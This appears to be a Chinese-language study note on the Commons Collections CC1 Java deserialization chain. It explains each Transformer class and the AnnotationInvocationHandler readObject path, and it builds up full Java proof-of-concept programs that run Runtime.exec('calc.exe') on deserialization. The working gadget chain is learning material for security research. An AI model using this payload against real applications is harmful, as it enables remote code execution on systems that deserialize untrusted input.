CC1链
相关资源链接:
sun包要下的源码:hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4
下载8u65的版本:https://blog.lupf.cn/
简单demo
P神给出的最简单的CC1 payload:
package CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}
这个过程涉及的几个相关接口和类
TransformedMap
TransformedMap用于对Java标准数据结构Map做一个修饰,被修饰过的Map在添加新的元素的时候可以执行一个回调
下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,
valueTransformer);
其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。 而这个回调指的是⼀个实现了Transformer接⼝的类。
Transformer类里面就只有一个transform方法
public interface Transformer {
public Object transform(Object input);
}
通过一个简单的代码理解 TransformedMap
package CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class transformedMap {
public static void main(String[] args) {
//原始map,未被修饰
Map normalMap = new HashMap();
normalMap.put("name", "xpw");
normalMap.put("age", 20);
System.out.println("未使用TransformedMap的结果:");
System.out.println(normalMap); //{name=xpw, age=20}
//定义一个keyTransformer,将key转为大写
Transformer keyTransformer = new Transformer() {
public Object transform(Object input) {
return input.toString().toUpperCase();
}
};
//定义一个valueTransformer,为每一个value添加一个后缀
Transformer valueTransformer = new Transformer() {
public Object transform(Object input) {
return input.toString() + "_suffix";
}
};
Map map = new HashMap();
map.put("name", "xpw");
Map transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);
// transformedMap.put("name", "xpw");
transformedMap.put("age", 20);
System.out.println("\n使用TransformedMap之后的结果:");
System.out.println(transformedMap); //{name=xpw, AGE=20_suffix}
}
}
只有被修饰的Map在添加新元素的时候会对其添加的新元素进行一个回调
ConstantTransformer
ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
也就是说无论你传入了什么,返回的都是iConstant
,也就是实例化时传入的对象
InvokerTransformer
InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序 列化能执⾏任意代码的关键。
在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数 是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
其实就是通过反射机制调用对象的方法执行
ChainedTransformer
ChainedTransformer
也是实现了Transformer
接口,接受的参数是一个Transformer[]
数组,它的transform()
方法就是对Transformer[]
数组里面的每一个类调用他们自己的transform()
方法,前一个类的输出作为后一个类的输入
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
简单demo理解这个类的作用
package CC1;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
public class chainedTransformer {
public static void main(String[] args) {
Transformer[] transformers;
transformers = new Transformer[]{
new InvokerTransformer("toUpperCase",null,null),
new InvokerTransformer("getClass", null, null),
new InvokerTransformer("getName", null, null)
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Object result = chainedTransformer.transform("xpw");
System.out.println(result);
//java.lang.String
}
}
首先调用调用 toUpperCase
对输入的字符串进行转大写,然后调用getClass()
获得String.class
,在调用getName()
获得java.lang.String
分析demo代码
对这几个Transformer
进行了解之后,再看前面demo的代码就比较好理解了
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
首先创建了一个ChainedTransformer
,里面包含了两个Transformer
,第一个是ConstantTransformer
, 返回当前环境的Runtime对象,第二个是InvokerTransformer
, 调用Runtime
对象的exec方法,执行命令
这个ChainedTransformer
是一系列的回调,还需要使用这个对一个Map对象进行包装,包装后的Map对象只要在添加新的元素的时候就会自动触发回调执行(TransformedMap
的作用 )
也就是这一段
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
如何进行序列化?
触发TransformedMap的关键是向Map里面加入一个新的元素,手动执行使用put()
添加一个自然是可以,但是在反序列化的时候需要找到一个类,在它的readObject
方法里面存在类似的写入操作,才能触发那一系列的回调操作
那么要如何找到这样的一个类呢?
先来看看前面是通过put()
添加一个新的元素从而触发后面的一系列回调
那为什么通过put
添加一个新元素就会执行它的回调呢?
可以进入源码里面查看一下:
TransformedMap.decorate
返回的对象是TransformedMap
类型的,然后调用的put
方法也就是这个类里面的put方法
对key调用transformKey
,对value调用transformValue
而两个方法在内部都会检查前面是否有传入keyTransformer
, valueTransformer
, 若有则调用他们的transform
方法
所以前面demo代码可以弹计算器的关键应该就不是put()
, 而是valueTransformer()
,
那再找找还有哪里可以触发valueTransformer()
可以找到checkSetValue()
这个方法
再找找有哪里调用了**checkSetValue()**
这个方法
在AbstractInputCheckedMapDecorator
的内部类MapEntry
里面可以找到
可以简单的理解一下这个代码,entry
是指一个键值对,那么这个setValue
就是对这个entry
进行一个赋值的操作
仔细的跟一下,这个setValue
其实就是Map接口里面方法的重写
所以如果存在一个对Map的遍历, 在遍历里面写入值 setValue()
也就有了触发后面那一系列回调的条件了
写个简单demo测试一下
package CC1;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class demo {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map map = new HashMap();
map.put("key", "value");
Map<Object,Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry:decorate.entrySet()){
entry.setValue(runtime);
}
}
}
可以弹出计算器,说明对Map进行遍历操作的时候,如果调用了setValue()
是可以调用到那一系列的回调的
那么就可以依照这个进行查找有没有对应的类的readObject
方法里面有进行过类似的操作
直接对setValue
这个方法进行 “查找用法” 可以找到这样一个类 AnnotationInvocationHandler
(sun.reflect.annotation.AnnotationInvocationHandler)
AnnotationInvocationHandler
它的readObject方法正好存在对一个Map进行遍历并设置值,当调用了setValue
方法设置值时就会触发TransformedMap里注册的 Transform ,进而执行我们构造的代码
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
}
poc构造
因为 sun.reflect.annotation.AnnotationInvocationHandler 是 JDK内部的类,不能直接使
用new来实例化,所以利用反射来获取它的构造方法, 并将其设置成外部可见的,再调用就可以实例化了。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class, outerMap);
这里的实例化传了两个参数,第二个自然就是构造的恶意Map, 而第一个是Retention.class
看到构造方法里面,第一个参数需要是继承了 Annotation
的类,Annotation是指注解类,也就是这个参数需要传入一个注解类,选择这个Retention
也有原因
所以当下完整的代码为
package CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class easyCC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("name", "xpw");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class, outerMap);
serialize(obj);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
但是运行就会发现报错,原因在于Runtime
的对象是无法进行序列化的,因为Runtime类没有实现 java.io.Serializable 接口的
所以需要通过反射来获取Runtime 对象
现在代码就变成了这样
package CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class easyCC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("name", "xpw");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class, outerMap);
serialize(obj);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
确实可以序列化了,但是反序列化的时候会发现无法弹出计算器,说明在反序列化的时候并没有执行到setValue()
这里
看到里面的代码,在执行setValue
之前还有两个if判断,打个断点调试一下,查看是否是没有满足这几个判断的条件
可以发现第一个if的条件我们就不满足
要如何保证memberType
不为空呢?
参数name是通过memberValue.getKey()
得到的,这个memberValue
就是要遍历的键值对,所以这个name就会被赋值为“name”,因为我们传入的key值为"name"
memberType
是由 memberTypes.get(name)
得到的,而这个memberTypes
在调试的界面显示只有一个 value
这个值,因为找不到name
这个值所以导致memberType
变为了空,也就是说想让memberType
不为空只需要让我们的key值name
变为value
就行
那么这里memberTypes
为什么里面只有一个value
这个键值呢?
因为我们前面传入的注解是Retention
类
开始这里annotationType = AnnotationType.getInstance(type);
返回的就是Retention注解的结构描述对象
然后继续Map<String, Class<?>> memberTypes = annotationType.memberTypes();
调用memberTypes()方法,返回的就是 Retention类的“注解字段名 → 字段类型”的Map
而Retention里面只有一个方法 value
所以这个memberTypes
就是如同调试里面的这个值了:value:java.lang.annotation.RetentionPolicy
这也是为什么前面传入的注解类要是Rentention
了,这样只需要控制添加的键值对里面有一个键值为 value
就可以满足条件了
最后的poc
现在这个poc就可以正常执行命令,弹出计算器了
package CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class easyCC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("name", "xpw");
innerMap.put("value", "xpw");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class, outerMap);
serialize(obj);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
当然,其实这里还有一个注意点就是在readObject
里面它调用setValue()
方法里面参数是已经写死了为AnnotationTypeMismatchExceptionProxy
,也就是说我们没法控制setValue的参数,
那么是怎么调用到Runtime的实例对象的呢?
这个就是ConstantTransformer
的作用了,前面也说了,无论传入的对象是什么,返回的对象永远是iConstant
可以看到调试的页面里面,即使传入的对象无法改变,只能是AnnotationTypeMismatchExceptionProxy
,但是返回的对象却可以根据需要任意改变(在实例化时传入进去的对象)
也就是poc里面的这一块
参考
代码审计社区 Java安全漫谈
https://fushuling.com/index.php/2023/01/30/java%e5%ae%89%e5%85%a8%e7%ac%94%e8%ae%b0/
https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/
https://www.bilibili.com/video/BV1no4y1U7E1?spm_id_from=333.788.videopod.sections&vd_source=cf7d01598010e70f1da4b79252417e78